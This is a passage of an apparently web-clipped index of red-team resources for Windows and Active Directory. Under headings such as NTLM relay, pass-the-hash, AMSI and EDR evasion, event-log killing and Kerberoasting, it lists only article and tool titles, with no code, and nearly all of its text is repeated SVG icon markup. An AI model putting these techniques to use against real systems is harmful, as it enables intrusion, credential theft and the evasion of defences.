4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1128' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />RID

  * Rid Hijacking: When Guests Become Admins

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='66'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1132' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Microsoft SQL Server

  * How to get SQL Server Sysadmin Privileges as a Local Admin with PowerUpSQL
  * Compromise With Powerupsql – Sql Attacks

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='67'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1137' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />Red
Forest

  * Attack and defend Microsoft Enhanced Security Administrative

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='68'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1141' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Exchange

  * Exchange-AD-Privesc
  * Abusing Exchange: One API call away from Domain Admin
  * NtlmRelayToEWS

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='69'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1147' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />NTML
Relay

  * Pwning with Responder – A Pentester’s Guide
  * Practical guide to NTLM Relaying in 2017 \(A.K.A getting a foothold in under 5 minutes\)
  * Relaying credentials everywhere with ntlmrelayx

* * *
## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='70'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1153' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Lateral Movement

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='71'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1155' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Microsoft SQL Server Database links

  * SQL Server – Link… Link… Link… and Shell: How to Hack Database Links in SQL Server\!
  * SQL Server Link Crawling with PowerUpSQL

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='72'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1160' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />Pass
The Hash

  * Performing Pass-the-hash Attacks With Mimikatz
  * How to Pass-the-Hash with Mimikatz
  * Pass-the-Hash Is Dead: Long Live LocalAccountTokenFilterPolicy

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='73'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1166' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>System Center Configuration Manager \(SCCM\)

  * Targeted Workstation Compromise With Sccm
  * PowerSCCM - PowerShell module to interact with SCCM deployments

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='74'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1171' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />WSUS

  * Remote Weaponization of WSUS MITM
  * WSUSpendu
  * Leveraging WSUS – Part One

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='75'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1177' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Password Spraying

  * Password Spraying Windows Active Directory Accounts - Tradecraft Security Weekly \#5
  * Attacking Exchange with MailSniper
  * A Password Spraying tool for Active Directory Credentials by Jacob Wilkin

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='76'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1183' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Automated Lateral Movement

  * GoFetch is a tool to automatically exercise an attack plan generated by the BloodHound application
  * DeathStar - Automate getting Domain Admin using Empire
  * ANGRYPUPPY - Bloodhound Attack Path Automation in CobaltStrike

* * *
## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='77'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1189' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Defense Evasion

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='78'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1191' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />In-
Memory Evasion

  * Bypassing Memory Scanners with Cobalt Strike and Gargoyle
  * In-Memory Evasions Course
  * Bring Your Own Land \(BYOL\) – A Novel Red Teaming Technique

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='79'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1197' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Endpoint Detection and Response \(EDR\) Evasion

  * Red Teaming in the EDR age
  * Sharp-Suite - Process Argument Spoofing

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='80'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1202' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>OPSEC

  * Modern Defenses and YOU\!
  * OPSEC Considerations for Beacon Commands
  * Red Team Tradecraft and TTP Guidance
  * Fighting the Toolset

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='81'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1209' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Microsoft ATA & ATP Evasion

  * Red Team Techniques for Evading, Bypassing, and Disabling MS Advanced Threat Protection and Advanced Threat Analytics
  * Red Team Revenge - Attacking Microsoft ATA
  * Evading Microsoft ATA for Active Directory Domination

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='82'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1215' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>PowerShell ScriptBlock Logging Bypass

  * PowerShell ScriptBlock Logging Bypass

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='83'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1219' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>PowerShell Anti-Malware Scan Interface \(AMSI\) Bypass

  * How to bypass AMSI and execute ANY malicious Powershell code
  * AMSI: How Windows 10 Plans to Stop Script-Based Attacks
  * AMSI Bypass: Patching Technique
  * Invisi-Shell - Hide your Powershell script in plain sight. Bypass all Powershell security features

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='84'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1226' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Loading .NET Assemblies Anti-Malware Scan Interface \(AMSI\) Bypass

  * A PoC function to corrupt the g\_amsiContext global variable in clr.dll in .NET Framework Early Access build 3694

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='85'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1230' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>AppLocker & Device Guard Bypass

  * Living Off The Land Binaries And Scripts - \(LOLBins and LOLScripts\)

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='86'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1234' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Sysmon Evasion

  * Subverting Sysmon: Application of a Formalized Security Product Evasion Methodology
  * sysmon-config-bypass-finder

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='87'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1239' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>HoneyTokens Evasion

  * Forging Trusts for Deception in Active Directory
  * Honeypot Buster: A Unique Red-Team Tool

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='88'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1244' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Disabling Security Tools

  * Invoke-Phant0m - Windows Event Log Killer

* * *
## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='89'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1248' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Credential Dumping

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='90'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1250' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>NTDS.DIT Password Extraction

  * How Attackers Pull the Active Directory Database \(NTDS.dit\) from a Domain Controller
  * Extracting Password Hashes From The Ntds.dit File

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='91'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1255' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />SAM
\(Security Accounts Manager\)

  * Internal Monologue Attack: Retrieving NTLM Hashes without Touching LSASS

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='92'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1259' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Kerberoasting

  * Kerberoasting Without Mimikatz
  * Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain
  * Extracting Service Account Passwords With Kerberoasting
  * Cracking Service Account Passwords with Kerberoasting
  * Kerberoast PW list for cracking passwords with complexity requirements

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='93'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
